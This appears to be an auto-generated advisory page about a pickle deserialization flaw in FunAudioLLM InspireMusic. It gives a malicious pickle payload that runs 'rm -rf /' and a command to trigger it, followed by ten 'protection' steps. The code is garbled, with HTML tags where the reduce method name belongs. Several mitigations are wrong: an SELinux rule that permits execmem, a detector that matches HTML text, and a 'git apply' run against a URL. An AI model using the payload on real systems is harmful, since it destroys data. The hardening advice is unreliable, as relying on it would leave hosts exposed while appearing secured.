FunAudioLLM InspireMusic, Deserialization Vulnerability, CVE-2025-XXXXX (Critical)

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How the CVE Works

The vulnerability (CVE-2025-XXXXX) in FunAudioLLM InspireMusic stems from unsafe deserialization in the `load_state_dict` function within inspiremusic/cli/model.py. Attackers can craft malicious pickle files that, when loaded, execute arbitrary code during deserialization. Since the application uses Python’s `pickle` module without proper validation, deserializing untrusted data leads to remote code execution (RCE). The exploit requires local access but can escalate privileges or compromise the host if combined with other attack vectors.

DailyCVE Form

Platform: FunAudioLLM InspireMusic
Version: <= bf32364bcb0d1
Vulnerability: Unsafe deserialization
Severity: Critical
Date: May 25, 2025

Prediction: Patch by June 5, 2025

What Undercode Say:

Exploitation

1. Malicious Pickle Payload

import pickle
import os
class Exploit:
def <strong>reduce</strong>(self):
return (os.system, ('rm -rf /',))
payload = pickle.dumps(Exploit())
with open('malicious.pkl', 'wb') as f:
f.write(payload)

2. Triggering the Vulnerability

python3 inspiremusic/cli/model.py --load malicious.pkl

Protection

1. Patch Application

git apply https://github.com/FunAudioLLM/InspireMusic/commit/784cbf8dde2cf1456ff808aeba23177e1810e7a9.patch

2. Input Validation

import pickle
import hashlib
def safe_load(file):
if not file.endswith('.pkl'):
raise ValueError("Invalid file format")
with open(file, 'rb') as f:
data = f.read()
if hashlib.sha256(data).hexdigest() != TRUSTED_HASH:
raise ValueError("Untrusted file")
return pickle.loads(data)

3. Mitigation Commands

Restrict file permissions
chmod 600 /path/to/models/.pkl
Monitor deserialization
auditctl -a always,exit -F arch=b64 -S open -F path=.pkl

4. Log Analysis

grep "pickle.load" /var/log/inspiremusic.log | awk '{print $1, $6}'

5. Network Isolation

iptables -A INPUT -p tcp --dport 5000 -j DROP

6. Alternative Libraries

import json
def safe_serialize(data):
return json.dumps(data)

7. SELinux Policy

cat <<EOF > inspmusic_selinux.te
module inspmusic 1.0;
require { type unconfined_t; }
allow unconfined_t self:process execmem;
EOF

8. Exploit Detection

import re
def is_malicious(file):
with open(file, 'rb') as f:
return bool(re.search(b'<strong>reduce</strong>', f.read()))

9. Patch Verification

git verify-commit 784cbf8dde2cf1456ff808aeba23177e1810e7a9

10. Container Hardening

FROM alpine
COPY --chown=root:root models/ /restricted/
USER nobody

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

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